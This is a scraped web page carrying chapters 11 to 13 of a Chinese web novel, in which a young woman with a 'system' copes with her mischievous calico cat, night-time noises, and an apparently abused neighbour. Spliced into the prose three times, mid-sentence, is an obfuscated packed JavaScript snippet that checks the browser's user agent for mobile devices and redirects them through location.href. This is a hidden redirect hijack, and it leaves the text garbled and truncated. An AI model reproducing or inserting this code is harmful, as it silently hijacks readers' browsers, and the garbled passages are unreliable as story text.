“喵？”三花机灵地往后一跳，然后踩着柜子，熟练地爬上了书架顶部趴下，一脸悠闲地看着下面跳脚的人，长长的尾巴惬意地晃悠着。 “教你多少次了，回来后先在盆里洗个脚，我在家时你就会，我不在你就忘了？” “还有那只逃掉的蟑螂，你逮到了没？” 虞栖月叉腰瞪视着它，见猫尾巴垂落到书架前面，就要伸手抓住。 可三花的速度更快，尾巴又一下扬起，她只能抓了个空，她收回手，可那猫尾巴又垂了下来。 往来几次都抓了空，虞栖月这才反应过来，它是在钓鱼or人？ 三花胡须轻快地动了动，见人不抓了，还用尾巴啪啪地击打着书架玻璃 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15148224|164777||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 “喵。” 人，继续啊。 鱼·栖月不干了，她不上钩了。 “你明天的罐头没了！” 撂下一句话，她直接转头就走，也不管身后一声接一声的叫声。 “喵喵喵喵喵~” 人快回来，喵还要玩…… * 凌晨两点，漆黑的卧室里只有空调外机嗡嗡作响的声音。 虞栖月安静地躺在床上，一动不动，薄被如茧壳一般将她的身体全部包裹，连脖子也不曾放过，只留了一颗脑袋在外面。 她眉头紧皱，显然睡得并不安稳，伴随着一道手掌拍在皮肤上的清脆响声，床上的蛹猛然晃动，仿若破茧的前兆。 黑暗中，虞栖月抵抗着被子的束缚，坐直身体后下肢蛄蛹，慢慢地向床头移动。 感觉到枕头抵住后背，她伸出自由的那只手掌往墙壁上摸索。 啪嗒！灯光大亮，虞栖月忍住眼睛的干涩，半眯着眼睛将被下肢压住的被子一点点扯出。 这期间她的手一直以一种僵硬的姿态捂在大腿上，手背鼓起，像是手心下藏了什么东西。 虞栖月咽咽口水，心中默念—— 三。 二。 一！ 手掌豁然掀开……除了空气什么也没有。 虞栖月不死心，她站在床上抓着被子悬空抖了抖，什么也没抖出来。 她坐回床上，被子凌乱地窝在床尾，她的目光缓缓移至枕头上。 三秒后，枕头被猛地抬起！ 依旧没有任何异样。 虞栖月摩挲着大腿上那块曾被她捂住的肌肤，痒意似乎还在，可怎么就没有逮住蟑螂呢？ 难道是她疑神疑鬼后的错觉吗？ 掉进她晚餐里的那只蟑螂逃走后就再也没出现，尽管虞栖月知道当时蟑螂引诱剂的效果还没有消失，它应当会被吸引…… 但虞栖月总觉得那蟑螂就躲在房间里的某一阴暗处，正静静地观察着自己。 实在不能怪她多想，那蟑螂的一举一动就像是成了精似的，先是在老大手下装死得以保全一命，一察觉到逃生机会，就毫不犹豫的行动，最后更是在她和老大的眼皮子底下凭空消失！ 也不知道蟑螂有没有智慧，是否具有报仇的概念？ 客厅外卖袋里的塑料盒中还横尸着它的四个近亲。 一时间虞栖月想起了《卧薪尝胆》、《楚氏孤儿》、甚至还有基督山伯爵等故事。 片刻后她重重地一拍脑门。 “干什么呢，大半夜的！不睡觉就算了，自己都还没活明白，就开始替蟑螂思考人生真谛啦？” 念着暗处不确定存在与否的虎视眈眈，虞栖月翻身下床，用手机自带的手电筒在床底照了一圈—— 空空如也，反倒是惊扰了浮尘。 “行了，睡觉！” 卧室暗下，一只茧重新在床上出现，虞栖月闭上眼睛，脑神经却依旧活跃的很，很久以前她刷到的一句荒谬科普突然浮现——有研究表明，在毫不知情的情况下，人的一生之中至少会吞下十五只蟑螂！ 当时的她嗤之以鼻，只觉得是博人眼球，看过就算了，却没想到她的潜意识却牢牢地记住了这离谱的发言，然后在很久以后的这个夜晚占据了她所有的思绪。 她并不怕蟑螂，她恐惧的是未知，不知道还好，现在知道了家里可能有一只蟑螂，就总觉得它会在夜深人静的时候爬到她身上，甚至她嘴巴里。 光是想象的画面就让她感到无比恶心。 假的，都是假的！ 不过……口呼吸对身体不好，还是应该要注意一下。 无人窥见的黑暗中，虞栖月安静地闭上了嘴巴，或许是抿的太紧，只能看见一条唇线。 没有光的时间变得模糊，或许过去了很久又或许只往前了几个呼吸。 “哒！” 虞栖月身体一颤，眼皮下眼珠不停转动。 声音的方向来自洗浴室，像是有什么东西掉落。 这动静很常见的不是吗？虞栖月告诉自己。 不过是水龙头未拧紧的水滴、没关好的窗户、被夜风吹落的衣架…… 还有—— 12. 第 12 章 听见浴室里悉悉索索的动静一直没停下，虞栖月将被子又往上拉了拉，直至遮住口鼻。 过了一会儿，物体磕碰的轻微响声竟兀的消失了。 她还来不及舒口气，一个呼吸没到的功夫，浴室门又开始砰砰作响。 有东西在敲打门！ 虞栖月意识到这点，思绪连同身体都僵住了几瞬。 虽然说子不语怪力乱神，她还是个唯物主义者，但自从绑定系统后，她的世界观已然崩塌了一半，而且不都说科学的尽头是神学吗，那这个世界上存在阿飘也不是不可能，科学上也有什么21克灵魂重量的说法，所以……门后面会是鬼吗？ 疑问刚刚浮现，她就听见浴室门后的声响又换了个调，撞击声消失，这次是刺啦刺啦的动静，像是有人用指甲在划，一下又一下…… 虞栖月头皮发麻，这指甲听着就长，还很健康，这么划拉都没断，真是什么女鬼索命不成，可怎么找到她头上了？ 自己可从来不干违法乱纪的事，这鬼铁定是找错门了！ 渐渐地，在这规律的甚至有些催眠的背景音中，虞栖月慌乱跳动的心竟一点点平缓了，她甚至冒出一个诡异的念头——这鬼战斗力是不是不行啊？ 这么久了居然还没破门而出，只会闹出些小动静吓唬人。 唔，怪弱的…… 虞栖月胆气回升，她打开系统商城开始查找驱邪的道具，很快她就看中了一张价值一百的黄符，算是最便宜的，也只能对付一些未成气候的小鬼，不过对她来说已经足够了。 就这连门都出不来的鬼，拿更贵一点的道具对付，她都嫌浪费。 毕竟她这浴室可没有上锁，门后面的东西稍微有点脑子都应该懂得开门要拧门把手。 这是何等的弱智鬼！ 能发出动静被她听到，说明是有实体的，不可能做不到开门，除非这鬼碰不到门把手，但这怎么可能呢，明明是三岁高的小孩就能做到的事。 但若是鬼婴呢？ 虞栖月突然细思极恐，这玩意不管是鬼片还是小说都是Boss级的存在啊！ 不不不，虽然鬼婴比弱智鬼猜想合理点，但若要真从合理的角度猜测，那门后面的都不可能是鬼了，毕竟蟑螂鼠都比鬼靠谱。 要能发出动静又碰不了门把手的存在，其实只要身型大一些，但又不至于和人一样大的生物才是最合理的。 这么一想，虞栖月脑子里像是有一盏灯泡亮了亮。 老大不就是吗？ 可鉴于今早的前车之鉴，加上今天老大又出去鬼混还没洗澡，虞栖月今晚睡前可是严防死守，明确三花睡在了猫窝里才锁上了房门。 它不可能跳过卧室门直接进了房间里自带的浴室里！ 但当排除了所有的不可能，那么剩下的再不可能，也必定是真相。① 虞栖月掀开被子，两脚踩上拖鞋，耳朵竖起，在床沿安静地等待了两秒。 还别说，那刺啦声还越听越像是平日里老大磨爪的声音。 按下开关，卧室再一次亮起，光线从门下方的空隙钻入浴室。 声音消失了。 虞栖月握紧门把手，用力往下一摁，顾及到可能是老大蹲在后头，她小心翼翼地把门推开，生怕撞到它。 可是……没有阻拦的重量。 浴室窗大开，燥热的夜风灌进来，吹得她脊背发凉。 突然，她的拖鞋上多了一股压力，她僵硬地低头，然后看见了鞋子上搭了一只手，或者说猫爪更合适。 只见墙的旁边紧贴着一只若隐若现的三花猫，这里正是灯光和视野的盲区，因为还没来得及打开浴室灯，三花大半的身子都还隐没在黑暗中，若不是它动了动，还真发现不了。 刚才还在门上划拉，现在就躲到墙边，说不是故意的谁信！ “老大！”虞栖月咬牙切齿地叫了一声，虽然因为顾忌扰民，她特意压低了声音，但却多添了了几分阴沉。 感受到声音中浓浓的威胁之意，三花立刻收回手，端正坐姿，好动的尾巴也难得地静贴在地面，还猫脸无辜地“喵”了一声。 好一个纯真无邪，若不是亲眼目睹，谁能想到这家伙的恶行呢。 “半夜三更不睡觉，竟然还从阳台翻浴室窗进来吓唬我！”虞栖月蹲下身手点着猫脑袋数落道，“现在又知道喵喵叫了，刚才怎么不叫，我还以为是……哼，还有，我都把门开了，竟然还不忘躲起来吓我，可真是个坏猫！” 幸好刚才的黄符还没买，不然退款后她又要白白损失10能量点。 虞栖月一把拎住这只‘夜猫子’后脖颈出了卧室，重新将阳台门关上，并确保牢牢锁住后，她才将老大放回猫窝。 见老大又有跟上来的趋势，她只得无奈地多说了一句：“今晚你就别想了，毛和爪子都太脏了，这个点我也不可能给你洗澡吹毛的，不要太着急，等我明天把你洗澡的任务承包出去后，你想在卧室睡几晚就几晚！” 不知道是不是听懂了她的承诺，这次老大安安分分地趴回了猫窝，见她转身回卧室，也只是用两只琉璃瞳安静地注视着。 事搞明白了，猫也放回去了，虞栖月的心脏落地，困倦感涌了上来，关了灯，不等她再次爬上床，奇怪的声音再次响起。 还来？！！ 这是什么多事之夜！ 虞栖月真的快忍不住了，此刻的她怨念横生，怕是厉鬼来了，怨气也没她重。 只听见一道来自女人的哀怨哭声，断断续续地萦绕在房间里，偶尔还会升调变成尖利的叫声。 和刚才不同的点在于，这次是3D环绕式，但相同的是，越靠近浴室那声音就越清楚。 此刻虞栖月除了怨气就只剩下麻木，还让不让她睡觉了！ 她冷着脸一把打开浴室，然后果断地开灯。 没有任何异常，但那声音还在。 虞栖月走近浴室窗，风扑了她一脸，风中带来的哭声也泼了她两耳朵。 这哭声是从楼上传来的！ 得到了结论，虞栖月皱着眉头关了窗，再关了浴室门，哭声终于不再太扰民。 她关灯上床，完全不想理会这哭声是怎么回事。 也不是第一次了。 反正一个愿打一个愿挨！ 尽管被勾起了不好的回忆，但白日里耗费掉太多的精力，虞栖月已经没心思去思考那些乱七八糟的事情，她久违地从床头柜里摸出耳塞戴上，闭上眼睛前还气鼓鼓地瞪了一眼天花板。 等她有了能量点，一定要从系统商城里把那个价值大几千的隔音罩给买下来，再也不受这苦了！ 怀抱着这个美好愿望，她蹙着眉头缓缓睡去…… * 隔天一早，在生物钟的作用下，虞栖月头痛欲裂地从睡梦中醒来。 她坐在床上，弯背垂头，眼睛干涩到连睁开都成了酷刑，浑身散发出浓浓的低气压，如果气场能够实体 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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收拾好书包和她自己，虞栖月才踏出了卧室门，刚走到客厅，她就看见空荡荡的猫碗旁趴着一只瘫软成猫饼的三花。 听见响起的脚步声，三花抬起头用幽怨的猫瞳牢牢地盯住她，胡须也在不停地翕动，像是在叫，可奇怪的是，她什么也没听到。 这时，她突然反应过来自己都醒来这么久了，可耳塞居然还没摘掉。 取下后，刚才仿若隔着一层膜的世界终于清晰了。 “喵喵喵喵喵……” 三花语气激烈，显然骂的很脏。 虞栖月讪讪一笑，她就说刚才写作业时怎么没听到老大的动静，居然饿着肚子也没来拍她房门。 原来是自己没听见呐…… 为了止住老大还在飙升的怒气，虞栖月也不敢再傻站着了，连忙取出猫粮倒到碗里，就连昨天说好今天不会再给的罐头也给开了一个。 安抚好老大，她自己也要去填饱肚子了。 今天提前完成作业，所以虞栖月决定奖励自己出去吃顿好的。 或许是否极泰来，过了一个糟糕的夜晚之后，今天从起床后她就还蛮顺利的，刚一出门，就瞧见电梯正要下行到她这一层。 Lucky，不用等了！ 她嘴角愉快地勾起。 然而，当电梯缓缓打开后，虞栖月这个还没绽放多久的笑容一下就枯萎了。 13. 第 13 章 当看见电梯里站着的那个二十出头的女人时，虞栖月想，其实她也没有那么着急吃饭，就在她犹豫要不要装作忘带东西不乘这一趟电梯时，那个女人说话了。 “不进来吗？” 她装扮精致，脸上化着浓厚的妆容，却没掩住眼底的红血丝和嗓音中的疲惫，见虞栖月仍迟迟不动，她眼睛便直勾勾地看过来，眼底带着询问。 虞栖月抿了抿唇，最后还是进去了。 本来也没有什么可怕的，不自在的也不应该是自己。 电梯缓慢下行，透过电梯厢上的倒影，虞栖月不可避免地扫视到了右前方站着的那个女人——她脸色冷淡，明明是酷夏却穿了厚重的长袖连衣裙，还是最吸热的纯黑色，领子遮住了她一半的脖颈，裙摆也是长至脚踝，仿若套中人。 尽管电梯里就她们两个人，但女人依旧直挺挺地站立，下巴微昂，双臂交叠搭在胸前，像是在防着什么。 因为抱胸的姿势，女人的袖口不由得滑落了几寸，露出了她手腕上的红绳，艳丽非常。 那颜色太过夺目，虞栖月的目光不由得多停留了几秒，然后她就发现了不对劲。 那不是代表护佑的红绳，而是被人用力圈住手腕后未散去的残痕！ 虞栖月心里咯噔一下，正要再细看确定时，那红痕已经被衣袖重新遮住了。 她视线上滑，在电梯厢镜壁上直直地对上了女人的目光。 那一刻，虞栖月感觉自己好像犯了错，立刻慌乱地收回视线。 电梯里的气氛变得更加沉闷。 但好在这看似漫长的时间实际并未持续很久，电梯没有丝毫停滞地抵达了一楼。 “叮咚！” 女人率先走出电梯，高跟鞋踩在在瓷砖上，发出嗒嗒嗒的清脆声音。 直到脚步声消失，仍停在原地的虞栖月吐出一口浊气，在电梯门再次闭合之前离开了这有些喘不过气的狭窄空间。 她个高腿长，尽管拖了好几秒，仍是赶上了前头女人的步伐。这次她没有迟疑，反而加快了速度想要赶超。可是在即将越过的瞬间，她的视野突然一空，有什么猝然消失了。 虞栖月愕然低头，瞧见了倒在地上正在痛呼的女人。 她止住脚步，犹豫一秒后还是选择蹲下。 女人只是刚跌倒的时候喊了一声，接下来便是沉默，看着并没有什么事，但她眉头紧皱，牙齿在下嘴唇上留下深深的印记。面对虞栖月的问候也只是安静地摇了摇头。 长长的裙摆遮住了女人腿上的伤情，往下的恨天高在阳光下折射出刺眼的白光。 虞栖月抓住女人的小臂把她扶到旁边的花坛边沿坐下，甫一松手，女人没被撑住的那只手就虚握成半圆，然后环住了刚才被抓住的那截手臂，像是在安抚疼痛。 我用的力气并不大吧？虞栖月哑然。 但那愈发紧皱的眉头又做不得假，一时间她竟怀疑是不是自己绑定系统后还得到了什么力量加成。 不过思及昨晚以及女人手腕上的红痕时，虞栖月的自我怀疑就淡了，她眼神变得愤愤，像是冲着女人，又像是透过她对着其他人。 因为心情陡然恶劣，她说话的语气也变得硬邦邦起来： “你要去医院看看吗？” 听到这话，女人不知道是不是想到了什么，身体先是僵硬了一下，随后才摇摇头，客气道：“不必了，只是小伤，我缓一下就好，实在不行我也可以再叫我男朋友，你出门肯定有事，还是先走吧，我一个人没问题的。” 小伤？虞栖月心中冷哼，待再听到男朋友一词，身上的冷气更是嗖嗖地往外放，get到女人话中的催促之意后，她立即转身离开。 她也不是很想在这里多待！ 但就在要转弯之前，虞栖月还是没忍住地往花坛的方向多看了一眼。 远远的，女人依旧是电梯里双臂抱胸的姿势，只是这次她的脊背弯了，坐在花坛边沿上呈现一个半蜷缩的姿态，及腰的长发披散下来，遮住了她的侧脸和神情。 黑色的头发和黑色的连衣裙搅和在一起，形成了这烈日白光里最大的一块阴影。 * 虽然吃了一顿大餐，虞栖月的心情仍是没有好上多少，还是有些闷闷不乐。 她顶着日头慢慢走着直线，一路上的碎石子都挨了她不少踢，直到路过昨晚那条丁香巷时，她才驻了步。 今天光线很好，虞栖月站在巷口，一眼便将巷子里的情况看得清清楚楚。 地上很干净，不再有半点垃圾。 她满意地点了点头，那一千能量点还是花的很值的。 就是……这墙上斑驳的痕迹多少有些碍眼了。 她走进巷子，看着墙壁，如同一只螃蟹横行着绕了巷子一圈。 仔细打量过后，虞栖月作出了一个决定。 她先是自费地买来了两个垃圾桶，然后分别放在巷子两端，这应当能解决一部分问题。而且也不用太担心垃圾桶里的垃圾没人处理，毕竟之前小巷肮脏是因为大部分时间都身处黑暗，但巷口却不是，那也是另外两条大路的一部分，倘若垃圾真溢出来，那也是暴露在阳光下，不会每个人都对此视若无睹的。 更何况，还有她呢，要是下次她再来时还有脏乱的情况，那她就直接投诉了。 垃圾的问题暂且先这么处理，现下她还有一件事要做——那就是重新为丁香巷墙绘。 反正现在这里没有摄像头和其他人，没人会跳出来对她的行为说不。 而且这里当真要有人管理，巷子也不会出现之前那样的情况了。 因此，虞栖月很坦荡地付出了行动，为此，她还特意破财买了丙烯颜料、刷子等绘画用具，当然她还是抠的，碗是用一次性的，也没有买防紫外线的罩面漆，反正这里很少晒到太阳，主打一个能省就省。 调好颜料，虞栖月就开始下笔了，随着一朵朵新鲜的丁香花再次在墙上破土重生，她突然产生了一种奇怪的感觉，这花画 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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而且若通过能量点使用【人生录像机】，消耗的可是一千的额度，要花这么多，可见这道具的强大，自己这人民币花的太值了！ 虞栖月眉眼弯弯地叉掉道具介绍和奖励消息，本来就要关掉系统了，可谁料到屏幕上居然又跳出了一个未读通知。 怎么回事？她明明只听见了一声提示音，这又是什么时候发布的任务！ 看着通知前面标注的今日凌晨四点，虞栖月先是了然，怪不得不知道，那时候她应该是睡沉了，但任务都是触发式的，那时间点她还在床上一动不动呢，这个任务又是怎么来的？ 莫名地，她有了不好的预感。 打开任务一看，虞栖月弯起的眉眼一下就平了。 她！就！知！道！ 虞栖月此刻已经忘了手上还沾了颜料，直接五指成爪戳进发间，把头发抓得乱七八糟。 “啊——” 好烦啊，她是真的不想再掺和到他们那破事里面了！